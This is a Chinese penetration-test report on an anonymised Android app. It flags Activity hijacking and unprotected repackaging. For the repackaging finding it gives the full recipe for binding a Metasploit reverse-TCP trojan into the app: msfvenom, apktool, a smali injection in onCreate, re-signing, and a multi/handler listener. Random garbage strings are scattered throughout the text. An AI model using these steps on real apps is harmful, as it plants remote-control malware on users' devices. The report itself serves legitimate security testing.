原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

0 w+ ?: U3 T* o0 C" C4 S 7 w2 k. L7 d) s2 F7 Q

7 U5 z4 Z& i5 m. G9 D

6 {! L4 x7 b; }2 {8 ]

+ w' E' @, U0 `0 O7 j) ` / f! T+ k% C9 E6 T1 h% _' }

文档编号：               

) u6 k) p0 U- C% k  

8 e" R6 ]' Q" f, g; D. D; Q ' e7 v* f9 @- ?* ^% c

( J8 q* D$ I3 [0 r5 g$ D   $ d' R8 k2 {8 m7 j+ I0 {

4 P: n7 r5 {0 ^) V4 X: x; ?% c 1 O! v! x ?" w* n/ A8 @- M9 f

  1 }2 E7 u" b3 t: |0 d

" I1 z" T% Z, ~# A' r. J$ ~

+ }+ {$ x% u' t# P( I3 Z   7 R p- Q7 g" r/ d; j

  . d0 h5 _8 n! W6 }- F

某某某APP渗透测试 # I1 q- c% K _- }5 L9 [ - A9 n1 t7 t: A# X6 b

. K% I9 Q, e/ _4 n   9 ]' w& ]# C K; P: C 1 W& l" I3 ?2 N

  : V% Q, s2 @) r7 V* u

/ A9 m% G8 v& I" d5 Y# E1 t9 O* u

S! M: {9 q+ D$ `   6 w: k$ w2 W0 A6 V8 ~7 E! G 2 ]- x# q+ w0 A8 W

: e) P" b! z& |! } 6 F. I* q9 e( a, R* N: r$ F

( Q7 Q7 {4 [- N: D2 E % ]6 }3 r! c% a5 f" H  

' P6 ]% S8 A( H5 l+ g O7 u* H8 \& H( y9 u0 N" v 技 术 报 告

+ X* {7 S2 q- ~

0 b8 Z' B4 z0 x; _6 E2 f   1 u% N# T9 E; Z+ `

$ N, @8 D8 J, ~: \

! _8 J, l: X! l T   C; o6 w* r+ U

g4 O3 ` b! f: v# Y

/ e! o" f: { L' E' ]- P # ]6 v0 h r1 q$ @/ o  

$ o* X" W1 `9 a- `) i8 a, U6 b   , m9 w9 E- k1 o* E

, C- c5 X7 F: R0 H6 a5 |

' y" \# ^2 i9 R2 v   4 n) Y# |; c% d

: \: w# r1 @: E1 e" D

$ O8 ~* b+ J# \- }7 g ( S2 ?; V% Z, [- W9 A( H+ Z   $ m6 h) ?6 O6 p0 \$ N4 ]

' B* ~3 V% `' T8 ~

6 j4 a5 b6 l+ ?% _& ?: N- H  

; e9 B/ w6 h% i! L G7 t$ k$ ` ' f) H+ u% Y; u$ p  

8 o- }0 _$ x* ?% a ?2 q

0 x7 U+ c1 M0 i5 x4 ~2 G: u$ t6 I   " E8 m+ }" g: c- I' |4 J1 e+ ^

( O% F6 u! `& h K3 A9 t7 d' v) L/ d   , y! t3 m& z5 _9 _" L2 O6 ? l" K" s; A. h0 h! A C0 C+ L

( Y; A6 w5 N7 v! y# h1 \ 7 H0 k7 s9 N/ Z7 {( k

% a& N! K U I. H/ ~, }   5 j9 u6 g" f* _

/ a4 E. I1 j1 f* H4 J2 k

( F$ J% t5 h, `7 n: b8 I) X# p   ' z F5 u) I' J0 _8 o4 [0 \

; [8 U$ E& K% l1 g9 o

& o2 O6 h7 o+ Z U3 t+ q$ B& G0 W; E( t   # Y" X# M) g1 F0 ?( o6 w0 C

" B9 g4 ? ^& z 3 O7 d, n( i* v3 q- b   " V" \) \6 o; D

& }6 J0 j& y; G; r& w# l " a' M, p) k. I- W8 H4 g" c   ; N9 Q6 |& z* ~& M

. |# y- M' K+ g : C+ l; h4 S" R1 w* z

3 \6 O2 K6 N: a   5 V8 F4 t2 v1 [ " `' J" z! F2 N+ @0 {7 y% L7 _* J( v' \

+ z, ]. P7 T3 O1 ?: g

 

; S7 Y3 f. r7 G% @   - ]+ j( a! T$ ]/ P 7 O i+ S4 P. ^

; v5 ~. p2 l2 [2 [' Y- v5 ~ 二〇二〇年 , h' u0 I5 F+ j2 p6 U. e7 p- \

3 \0 M/ ^# V ~- S$ I. n% K4 S 5 l. V: I6 s# v! | ^6 v7 O B

7 }8 s5 ]8 l# _4 ^4 E1 D
9 V5 _' a5 i3 p! X7 H. s- Y: v( L ; D1 h$ g$ a! T8 J# w- n1 t/ `

' }: J) H- d& i$ h' f. a: e 0 S( a& i7 S; `7 R" O3 B d

6 h+ E! i: N/ h2 J* s + K- x6 y/ o2 ], K- ^0 J

* H% c& ` b( {% q @/ A 目 录 * `; }" _& L f, c1 |

) p6 u8 F- N( @7 [( M9 o3 ?; [

 

1 概述... 3 6 L' p4 d: l3 N/ `( u8 C/ R 9 ~6 a: q8 g; O$ G" A: f

: m4 X, _ C3 F9 l. B ( ]% s) M3 R4 q& H$ L- E/ L8 r: ?

S! J- V9 F6 ]( k % u/ D, A5 B' R9 j/ r 1.2测试时间... 3 # X+ h) m I0 P' {1 } " o0 }+ }1 p" w: Z3 h$ f- C, g @3 ]

# r# \" {1 k$ O* R1 i# I

1.3测试对象... 3

: `0 |, ?+ S% G! h" G

" b0 E6 R: q- H X5 K 1.4测试结果... 3

1 q/ H0 Q; y5 T7 A2 `; T, }

" W& }/ |9 [0 \% \$ U+ ` 2 检测结果... 4 2 Z# i3 u5 r e0 k8 `8 X5 ~& p

) D* s% L, ] t% s; Q3 B$ c

2.1 某某某... 4

& R+ u' z8 f6 C' ~& @( V

# k* m7 y# y1 x$ c/ R 2.1.1检测目标... 4 , F! T8 w5 e4 t' t , ?/ P3 B& o3 p

* K" ^' _$ b' H% k* [

5 K- X$ P$ X1 n5 Q L4 U 2.1.2检测结果... 4 1 u$ j; E, ^. T( d# b- u* l; v

5 e4 w5 M8 i' e5 @- v+ t" F$ T' }

6 | P# [$ _& ~8 z8 V/ d3 P . F' t M3 i# s5 A. u6 @/ g! A 2.1.2.1. 4 6 W, B1 O/ r- K$ _. o7 A0 q0 E4 p

1 L* F2 L1 T( T! G e8 m ) a9 Y: u( {6 g4 ?/ X& g

1 k5 D0 z' J, @( ?) K 0 N1 o1 `# F( N* Q1 _& T: _; X 2.1.2.2. 6 ) F2 w' L3 ?/ L& V

, I4 l9 _/ b3 { ^% D% J! g # X" y% \3 E9 r- \& I

3 T" {0 G; n8 y: E* Q7 h2 A+ q d/ N3 ^/ I- ` % m1 x" L$ u- q8 o1 {+ Q' c# I3 L

6 f. t7 K, M4 ~) o v( Q ' {! ]/ F' D9 s3 Y ; j* W* a& R: G& w; G

; f9 k1 v4 g# B; b/ t8 Z
& w# u% u* [" p. v. C) i: o ' `5 R4 ]- l0 w8 q2 `! M 1 \6 b5 Q( f" d & I4 J( \3 f# i! P

- k T/ e) ]! }3 l3 f/ }0 S 1 概述 9 }- g: ^& w! |7 C, `7 Y

' O4 q r# s( M3 q2 E% K2 M+ M ' X4 I6 q" C$ Q- o

& n( D( ~' C- P8 [# K+ _, m W9 a + F; j) t3 ~, d- Q8 a 1.2测试时间 1 [1 F, }7 [, }' F- |4 v; s

4 z K. V4 F) s+ W) w ' Y$ ^7 e* Z8 j$ s$ K8 d4 C1 Z$ y2 o/ x( I8 x8 W" p, M+ y0 S: M" v+ M' H8 z0 F1 R! \) A1 i$ m, _1 ~5 i+ V# _& l, @2 ~, u' H, i; F$ |$ E0 Q6 W! ^$ i `$ u l( @, Q( r. x8 ~" P6 Q, C5 g& n' I% x0 d( @8 s# Y6 J6 u: V$ ?* `4 n3 w$ ]( O; D# C) o; c' L6 [% G7 ^: G8 v; x) k& ?+ w+ J+ E2 t9 z- n) s' U- H# ]$ \9 Z3 U$ W# ^: n( S5 I- F7 G

2 g5 Q( L; T+ y- x& `; a 渗透测试时间 3 P/ s9 b+ m# g
) S+ g6 h; v4 T/ \) E 起始时间 3 u% i! _; M* b. @	- W7 \8 v# S* [* W. v! w# O5 V1 ^ $ J) f9 C7 g! s' S 2020年4月6日 : }( h/ F4 f2 o& l & }% f* s: T, @% \2 R
/ A* o- H: v3 _: i* a ( z; s9 o- j3 O5 f5 B+ M" ^1 g - n! M& L! d3 E8 ~/ b : }. }' v1 W( \; T6 ] 结束时间 * B$ m3 P: y1 H" D, N$ d	" d6 X0 h) N1 U' F % k: {. {/ g6 P& N 2020年4月9日 : l8 a, `' ^. m- r: d- J* P * h$ z( N- I" a/ x9 Q1 o. o' E) `

1 I) `8 t! U* s2 g$ A

4 s( S5 k" O0 S C8 n- ^ 2 y! V) S0 w' e1 o' J: p 1.3测试对象 6 u3 g- z7 V+ M- E6 W

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： i- G) {) ]9 H/ @* Y

( ~4 Q, N t; C( W' z8 B % H, S' X! o5 o4 o5 l

5 X. D2 X$ Q0 `% E 表1-1 检测对象 ( k' P) M# _$ X1 q6 |4 N# n8 d0 a/ d) r

% d6 g6 g7 \4 ? 8 Q# r: U' c- i5 ]2 J $ \/ U) O4 r! g& R# G. C. L) P! H7 T8 j" {" A/ s! u' H! ~! _6 G1 [/ I1 |( I% ~9 v! O3 U( m" p8 p3 T: H7 d# W6 x5 c% |! K! t9 Z% `2 Z7 c9 |0 T, n8 f- J3 S- t; \. [3 \& [* B6 z. r- S6 ?' e( B2 u- z- o7 a% I9 G3 g+ z) t; e. q1 z% s3 S2 O- o( w4 v" l0 t3 @5 s: p$ z$ m- e. [/ A; T0 V/ m( t2 j0 k! M) ^1 ^# k) M6 E( J1 k2 ]; s" ~# K$ e8 a. f( ?& D% D

2 I4 f6 h) ~& W& ~" k% `7 l y* T $ u2 {; G* C# a, y0 n" m5 ~) o / ^' B2 i, O; M* _2 E' Y$ i7 K9 Y . X( M+ T, T& D 序号 * f& i( J$ v; q6 o' D; G; o8 P6 M 9 p6 x. B4 }1 g 9 K4 w, H0 w' N8 s	4 R5 V" ~8 Q# W% p5 k9 p: F, _/ ]; r8 q ? 测试对象 % [, _" ~( m3 i) f7 T; \ 5 h0 L( `( L$ u5 j- P , G7 j, J _2 F	9 q5 h% z0 c" c% c, B / c* E5 v: {* ]' B' J" Q" L 测试地址 , L0 s! N, C4 A- g ; B: @+ s5 J( x% ]0 G( f& t k3 n+ L, P# H& h" u9 L	, l8 G4 Z, ~+ o9 H' b: J1 F 安全漏洞 . ^9 Q4 H0 |5 ]: b' \4 Z1 u6 D+ s - \: `2 |: d% S& g
6 y0 N% X% N1 D# l/ F , A; g* v/ J) H* s% q6 X/ e : x& o$ @) K1 z 8 |$ f: D3 s, x- ?6 o& B/ Z 1 ! x z: @4 g, u % K( a- J; o- P3 r: Z6 j	: C$ S" z1 V$ `1 h3 G 3 g0 i7 e% T) d' ^! n! W7 @7 k$ q + |- V* I. C- Q3 L- Z' U: q) O; _+ Z i" H( o8 }2 _ 某某某安卓APP @- N# q3 \1 w# V/ h4 j9 `8 j' u	4 t7 s4 P$ }: y4 g+ v 6 Z8 z/ Z! [1 ]' \) y + b: ]/ ]- @' L& o2 `   5 h- y5 W5 m3 i+ p+ O4 r; l C/ e* X( X- W/ [. H3 g& m* D	6 }: F$ N% M) P5 U- f5 h2 U & s+ S$ o( {; r1 U0 { ; z, z1 u1 ~& a2 u0 h6 i( }* l 2 4 F9 i4 Y+ v8 m# T . L- i- n- H+ v: a( N

9 m0 }( [5 W( E6 \# u) | % N' N/ R% C9 T

/ r3 q+ L5 d# m9 U" L' y 1.4测试结果 2 }/ D- s6 p) Z' N 4 f Z' k' f( u: ]# {8 N! |

& M( J0 n4 Z, s$ l( t8 V

3 G* q3 x+ S; \5 A 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

6 D5 h" t( X+ S; t0 ?  

4 _5 v( B2 n' v# k" ] 1 a9 T) s/ d+ S, j q

3 L) n7 `( q8 i9 {! H7 J - n" W+ b, {! E: v5 D3 o8 A: w, d! q( R! [; C. @% [) s R0 x8 M8 ^0 S" ^0 n. g. a+ ~+ a2 U* Z& x4 ~. N! W Y( s: a1 K( e: U; G) F& w# i& U$ u" t" t. n$ `+ `1 V" i" t2 { F& a8 ~9 H: ~( u1 @, x- L& T& l7 X( C3 E8 M% O c, _4 j* O- b+ U. l% K. C7 ], n6 t3 Y# q2 _: m; \) s' f2 A, R" o7 n0 T' [$ y- e) L$ p& {0 l P- S; r+ u# @' d/ t L5 \& z: k( r8 |( U* V! k( Q+ l+ n3 o- a) e3 n/ _8 z% ], R8 t+ B; C& ]3 b$ o$ T( P; w' n4 v K: o1 R4 Y$ d# \; c1 n7 F% ^" J; [) `, R e. T; J8 v; G4 _" ]- c8 h7 @5 I+ ?% x# v! y, y8 y, A# Q2 M$ j# \7 e" I( S+ b/ |. b& A7 z. W6 B% _( Y+ D; m7 I

6 }6 [ I- a" X5 w7 }8 T 序号 , U5 x6 }2 q5 D. K; H3 J6 b. S	: a- W& F5 ^7 i ; @1 u9 [' j2 W* @ 1 X4 b& j% Y+ m 系统名称 7 A$ z0 R: O5 m4 D& I 5 Y, r* P& m) Y* A	$ g% o+ U! t/ z, Y3 T( J D 漏洞名称 1 h; b5 B' z8 b: D1 i3 D" [	; P" ^2 i% |. W# q. h& J + i C8 |& }; l; M ?7 ~ 漏洞危害 ! Y- p8 O2 k% v3 b1 i5 V3 o 6 S4 r2 T$ w, ]6 X5 j' I" t* s2 l	5 F" @6 S9 p% t" \5 C 修复结果 4 _8 C8 A* N J0 E 5 u& w- a. r1 V1 e) A4 @ y/ |. d- U- B& e9 E# j7 \. R
$ Y! P/ X0 L: o1 c) Q2 a- @, F7 S 5 @7 b6 O; C: J: H% K/ s. Z& i 1 . G1 A& i* Z5 \" r. ^	' v7 @+ N8 J: | ( f1 n3 \$ n$ m! d / T$ o6 H7 |. @ 某某某某某某APP : {7 p# Q0 m, y y0 G. O ( Q% C' l7 j: S 7 q8 A K! Z/ ~$ n$ B9 T9 |8 U	' e# x- `6 K9 |) K4 F# C6 \1 z( { 0 T! ?% M. h' U) L; [0 C Activity 劫持 2 [9 E1 ~' Y3 @3 l9 S 4 V5 H+ }0 j7 f) G 3 g6 T! O1 q! z. b: R! ?0 k   # n$ T8 s8 n% B7 Y$ s 7 |5 o0 ^; q# B T/ z$ b	. @! F" n7 e! [9 D* J 7 `; X& D- e& M+ G" Q+ K . R9 K5 f; _& w- o+ @$ w- Q 高 & e8 j! \/ W: z! j0 Q/ [% z & S K* E- @. v	, A$ H" W: z/ u+ M; O ' H2 W) l, T: [4 R t8 d   2 R2 f: O8 ]6 s ) V. ~5 j* ^; e+ q! f
& ?* n: ]" @- |% r2 l8 N 2 ( O1 \5 k- P9 {! _$ j. O/ X9 }	0 H; n* F, j( s# j 某某某某某某APP . Y, t2 L4 o2 S 5 X7 B; k" Y# w/ Q: A* c/ D% l	3 }' W O( U0 [ " K. _% b5 @; ^, _4 j7 P2 \$ F! U 9 i1 H% S/ B! c' J) L" ? 反编译二次打包捆绑木马、篡改APP代码 % _7 Y, D4 N2 u5 Y& Z, c- ` 6 |8 |8 T/ w( @, Q/ _4 P) D* C	! T+ G$ d$ v/ |- H # G) i F4 v$ P, g3 N/ [. ~- Y0 X! u. r 4 {3 e# l) L. x3 M( R2 a/ {9 H/ g( K" m& X 高 ( j" q* S c+ A	8 Y {8 Q' d/ R7 D

& Y9 b+ y3 R1 [" R0 y1 v0 s2 A

6 g- R# T: |0 a 0 U/ z( `: s( X   $ Y1 G& A1 n4 E. E$ A

* u6 [. \& ^# E8 M A% y: F 表1-2 测试结果 - r- m' h/ E) \2 G

4 W6 I( V4 Z6 m6 _; C * ?5 x) F, c/ ?. y

. k' v* l6 @; f$ {4 V7 {* l   k9 |8 j! E% L [+ z

( s' l1 Q0 s+ U. k$ ^ 2 检测结果                    : {: p4 O8 @1 r/ q$ E% i

6 c; `2 I* p, l; R1 d( `8 G

2.1 某某某

! \3 ?' t5 u, h( u/ z. x5 j w3 G( K$ R; ?% `

# Q6 d- J- ^& `9 ]# _" B 2.1.1检测目标 . ~0 m$ z' O5 F+ Q4 a ) q1 Q/ S3 \& f* g( L

; D# n2 q7 K ]+ ?

" P# m# [5 H0 l- }# V 目标地址： 某某某某某某APP 6 A; \7 [* e/ w. A, U! c R n/ f* p* _* ~- G: V) \0 A9 i

) |+ Z% z$ t+ [4 e0 l; N1 X1 X # [: s r) H" @ ^/ j

$ Q, ]4 V F7 H" n8 ]* C+ Z 2.1.2检测结果

# S% b, `- k( s; ~' U" I( E

& E$ F! R% c/ t1 e& _2 l( d 2.1.2.1

漏洞链接地址：某某某某某某APP % V+ e% H" l1 o

- x7 @1 T) x+ d

  4 E1 |- @ g! J/ C8 G

/ q* d% ^0 v: Z0 f

漏洞分析及取证： 6 p5 X) z6 ~) e4 r

* `2 {" V. m7 o b$ v

5 E+ z* m+ M" n4 g% e. \                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： : j" _7 q4 W. K5 i3 r7 u# m

/ y: f' }+ P7 P) o      % \# l! `1 f4 @

0 k/ N. l6 \/ z3 w3 x6 b

                      ) ]+ U0 { D6 F) K" f3 U" B

* W& p+ F+ U) L/ j3 Y

8 l' M* g) w Q' c2 x

* d- h. b4 a0 D4 I

" V* X# ] q; c* A! P' {. E 2 g1 v& H3 @ a# Z# _7 F . F" A2 F, \# c/ W5 V

$ S5 \3 W3 V( \' z; H- g( l 5 u# |# a, ~! |3 z

v: n9 w/ @8 k# ]1 L+ O : x6 E* g B5 m- L! R. l' y( k5 z , H0 ?5 W/ }5 h: z

* V" ^; h1 s/ W( V8 ~ 1 T+ s, O( G! V& _ s

漏洞危害：高 . o/ z7 O1 d$ L2 D7 D6 M , |8 A- Z v9 |

; G5 L5 O/ a7 U& f/ W5 r, K

; d* q9 {& j8 i5 v# l & M4 T8 b' D5 ~ {& E6 Y+ _8 e7 S: x: u 2 \$ J( q! m( F, H4 Q0 S# A# H5 V9 l, ^6 k3 ?0 [ D! p8 F* L1 ?0 w$ H& w$ N1 |* Q6 h' a, [9 O% p% r% q% A7 s" c9 ~' n/ m. k+ e, t5 N, b2 \* B2 X* L) y( C$ n- H& R6 Q# S" F* s# \) P9 u) m1 u* ~0 T8 E( Q2 d5 j# Q$ ~1 Z. h' X/ h' t! A: X8 k5 E% t' ]1 F- m2 `% m% p1 f: C8 X6 E- V0 T4 `! q/ H. m8 D* I3 r

2 H7 U1 O; U% P. T- j" f ! H$ X7 @8 Z1 o8 e& x3 Q 严重程度 . l% i& l" E2 n, w7 {6 i( M! x a	, w% B+ J& X" o. T# u+ V$ Q" P5 D, ] 高 1 X( C5 q: W: l9 ] - C( d6 i, U; O( B; p/ W& s9 I	" ^/ K9 A" `6 _/ @2 q- k ! P$ Y3 r: g8 [; W! H. e$ k - ^3 L3 g7 R) N! q7 k% U$ a0 H8 `5 l 0 E& z9 d8 N3 P* F% S ■ 0 g# K0 {. e$ B+ j' P8 b3 @ ' B1 ?5 G; X% r0 b7 i7 P; g 2 H; f5 w& b9 l N5 t% N/ w8 Q+ I	$ W3 J$ O* e! ~2 N/ r2 w$ i 7 y& a& t/ M' A1 o2 a" Z5 \ 中 4 y! p3 b& p5 X2 F2 j1 o- u/ e& ^ 2 x( y; K% H2 |) p6 I0 v$ @ 2 I, E: x) O: k6 C' q/ w	1 [8 u# P8 L% D# n5 _ % t9 B0 ^" N& b8 [4 c   8 O& ] p4 w, E7 p ! ]( p, C7 W( b! u4 w9 n	1 X0 {3 u9 {1 Y$ R1 v . G+ J& q2 }; I5 O$ ]6 J; l! S 低 # c4 b8 i9 t. U# D2 y; f$ u! K. B$ Q2 F$ Q 4 i6 c3 H2 d5 D7 M0 d" R/ v 9 O( W* F. x% x2 n! [6 B	7 T, B T1 O9 h; N! _; b5 h. N 2 ]* g% s& [5 \7 L2 T; A& ^   , Y# E- q+ n- [- l) n) W$ x 8 c9 O6 x' Q9 O ]8 l

' @1 q6 _. r4 T' v) d1 C1 O/ _ 9 b; P4 V) ^4 o/ M) `. `: R. v

0 O. c0 y! ]. X, ~

8 @' J- k7 Z+ X2 ?+ O3 E; K1 k 2 @5 R1 F6 @+ z4 T8 b1 |4 U J7 U  

/ M3 o+ F* l3 F3 S3 V" f. E

+ d7 Q: k5 h9 f- `. M$ m 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ; ~( G8 V5 @, i3 a 3 e8 t; R5 s8 C. L- X

/ H i9 B* p* @7 G* O

          / P/ t2 K. P. R( u: `

) _( _" R- j/ Q8 \# h

3 S* e+ B" ^/ C  

9 t, l0 E. [9 A% M& y) k A% P( o( ], L% N

" q, ]; H; A3 M" U# g0 E # X( d' J( p) l, X+ l 2.1.2.2 % [" _: u& ]0 @2 Z0 @+ j 6 [, z3 Z) S- |8 y

1 U2 G4 K/ A" _* \' p / s4 Z. r M7 e

' L* \/ ?) ~( |0 i; f# t3 m9 f u* T 漏洞链接地址：某某某某某某APP 7 I8 Z$ Z- \' e+ y

# ]0 L; v: B2 B0 G% `' P8 s

漏洞分析及取证： 7 I. Q0 t7 t0 ]$ n, k. ]7 T

. ~, q' f4 z1 W: p- y# ` 7 K3 ?$ G( L+ ~* }

0 z }8 f* U% [2 L                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： - o4 Y. M2 D0 i1 v / W; H/ k" H( m! ~- y( N6 C+ Y! b

+ g# U4 k( u. B6 X 2 H, P- N! |% Z t' {" a

0 _: M8 T# I N: |# J! S ( y; d/ v0 n* p# f: }2 a 用Metasploit 生成木马 apk

; ~& q# I6 [3 Z2 ~6 u' I " w- }4 X6 V: ^: t2 s; q

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk * [; C) ~+ e$ e: M, ~* v. C$ Q& r

1 n2 o8 E" ]6 Q) t # m+ U: \* l$ b' o4 Y* [$ L" |

: u' |) b6 @. D% _) i6 T2 | 反编译目标apk和木马apk 3 N$ _* _$ \% L/ C K7 p 0 [/ \1 P6 h5 K6 N8 J: W/ U) |

, t% d6 V/ C5 m v apktool d target.apk
? J1 q+ H: `, Y' {+ U* F apktool d cockhorse.apk 0 R. v: H% _2 r1 U* ?" V/ B

2 {) \- g/ }1 `5 i$ D* V 木马 apk 注入目标 apk % A9 {, e8 u3 y: U$ ~3 H

7 ?% G2 T8 [8 R# l4 f

8 U- e* B/ g. E0 j6 S 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
& A& g1 B1 _$ Q7 r: \: h, z N" ^+ O! d1 I+ F: o invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 h9 H3 i1 |2 I _8 B - [2 l/ j' C) Q- p. Y

! R6 ~5 t4 Y; ` # p0 D7 |$ ? c4 M0 H' m

9 H- C: @! F, q& Q$ }7 o0 H8 U% F 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 ! w4 S9 Z- U4 A* t6 l

/ R# ?4 x# N3 `1 p( S, ^ 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 + r+ R( Q+ `3 D$ w

( J9 R/ S: x& K g9 v8 G/ Q # c$ q' S8 h* d4 R, u3 x3 B

% r" `2 ^4 G+ I! |; R3 y* C) g ( h( j5 q& i/ E2 S x1 k 回编译生成最终 apk 4 M: p# C, T8 D

1 S5 d7 W/ ~6 @6 e$ U, ]$ C" J8 J / o* }! l) ?8 T* U! p4 W

, y0 N4 m/ L$ j: t1 y% e, l f 重新打包 0 o" Q( z0 J' e7 O

" y/ q- D% |% `# w5 U3 y

$ i+ H+ b7 l1 Z9 C5 u8 ] ) y7 ~% J9 F$ S; r apktool b -o repackage.apk target_app_floder 9 d" Z5 K5 f, @# S R

; y) Q! m1 L/ H* s4 H- ?

6 T. b v# s3 R 创建签名文件，有的话可忽略此步骤 7 K* {5 ~# P+ ?7 @" k $ k: K, e R6 q2 j* \- N5 g4 q

" n4 f: k2 E( B* q

' W6 D+ n# a# ~3 P) | keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                & V: [8 m' h4 o$ _3 e8 l4 z

$ V% G5 I% M( f& ^2 J9 H 签名，以下任选其一

' \& R0 E; {5 ]$ l: ?+ M5 c 1 L4 `$ w) ?* c3 B" u' R. w D jarsigner 方式 $ r4 q- j: H& Q. q/ T

2 C0 e) o3 e' y: ^! {7 e1 |+ G

. f! t4 D$ C, ? jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 7 g/ T7 k% N4 d; L2 O% z; i* N

Y" ~0 {$ f: @% @8 |% @ 4 E, `. s8 j/ K) |! r( R apksigner 方式 m% F2 [& z* Q$ Z9 T5 ?5 u0 ]% F

! ]; [- H3 q( X7 r' ~

2 {& ]: s7 P& | apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk * b( f; c3 I( z+ s0 S4 h8 c; S

8 p( m2 @5 P$ O/ ~1 U4 {4 F

; \9 s# J ^3 E 如需要禁用 v2签名 添加选项--v2-signing-enabled false / q9 B/ F0 ^1 G* { @! j 3 @" q2 H# G) j# y3 A/ s

$ W4 A8 e' q' z3 ]

. J- `! N2 t* j0 j. ] 验证，以下任选其一 3 W$ O: [4 C3 P$ ^4 G9 M 3 w! h1 Z; |, o3 q

2 t' i9 v- ~' r/ s" S# R

jarsigner方式

1 o( ~ T& X4 o. P; W( e

% o" k1 v: Q! }0 @- x jarsigner -verify repackaged.apk 6 Z3 Z$ r7 }7 O( y5 p3 r) l, l( X8 q f1 i: k6 I, T0 w4 A

' ]3 x8 ~5 Y- r, J- X - {1 X l2 o, v9 t2 c9 _

apksigner 方式 # J8 v+ g- {# ?& A! X5 J

# a: u9 u, j4 B5 g( ^" u

apksigner verify -v --print-certs repackaged.apk : r* z( H' v4 e2 E! n/ k

* l2 w6 f6 P2 ?3 y2 N2 F

* o8 b, v) ^5 c5 _8 G keytool方式 ! y" K! r7 z- ]3 U- T& V

( p, q, c5 y O5 |' U6 y

3 J1 s, @4 p z$ [1 j- S keytool -printcert -jarfile repackaged.apk $ S2 M' E7 k% y: h4 Q - M* O% ]# ~; I: u+ |2 a

; H& N3 ]9 @+ N

对齐 * p1 ^" h5 v& e g% \

字节对齐优化 % T5 D6 ^5 b' Z2 x

; K4 v) C" ?0 j) Z4 I# y- `

zipalign -v 4 repackaged.apk final.apk $ k2 |. O1 m8 g

' k, [0 Y' q7 Y0 l

, ]) w8 n- z1 b7 _ % L; b6 |5 @1 ~# R7 V9 ^1 M 检查是否对齐 : i& p2 \$ b$ P5 r' V

8 B) o# ~9 ~/ N/ I+ A

zipalign -c -v 4 final.apk : E& M5 j9 i0 ?% {6 C C

+ l' `2 B- t' a 0 ~* Y6 L/ C- L3 ?% H

& r# A% J+ x8 c% R: _9 T ' W( O$ Y2 B/ q 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 2 T- i# g: x2 t& P

, a/ d: C- N3 |9 S) ~, e! T

5 o4 O/ x) Q1 r: P2 ?2 f3 }2 h $ y$ z7 { c8 W/ j" b 启动Metasploit控制台，配置参数等待上线

+ P: \6 b$ w3 E. W4 _3 K( ? 在终端依次输入如下命令 * I6 V; b( l3 Z; ^

6 A4 f ^$ s, i4 \8 L8 t1 ^( V

. g! W# d, Z( ?# h9 }4 W msfconsole # K; y& L- v4 ~/ J7 U5 c

, R: D, j; R3 K4 c6 j

use exploit/multi/handler [4 }2 J$ D0 I- B h1 O , `3 e6 w1 _4 D8 C' W4 h' g

. Q7 V9 W) M- C

set PAYLOAD android/meterpreter/reverse_tcp

% G5 X/ ?) s6 y J7 c4 Z3 X4 ~- |+ z5 ~" x

2 M# X. |( W% q set LHOST 192.xxx.xx.xx % d$ o: ~4 C9 S8 E8 Q

1 I7 M5 Y2 p& J7 W s

1 k. G# n; u7 V3 H set LPORT 4444

# q& @. ]3 e* a+ S: H exploit

5 ]2 \% @+ r+ Y( _

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

1 `9 i, e/ a/ A2 ], F 3 C4 @9 O Z1 H/ D+ K; \: P/ p( d

5 q- u! f: w3 u& v* W' h' t4 ?' t+ \ 漏洞危害：中 1 W& n& {) z5 E

" _7 w# o0 v8 K( X; r

3 O' W. C3 E4 A' O. A ) x" D2 h$ d; _! } 6 X4 Z7 v) t+ T1 A% V( T, x' h. n- |; X0 [+ E7 u$ n& @8 Q# F- V% p/ W E- a& K. d8 c& s8 N# u; ~/ d, U# P1 H G$ j J1 Z2 o0 W" B# e2 ?+ s8 ?8 y, @% g* `* i8 b0 W3 n; y# [8 ?4 C9 L# N) O% t" h- o* y* C5 c5 P* i! X$ U3 G" l3 B2 @0 @) R" W8 h9 J$ i: G ~' E' @

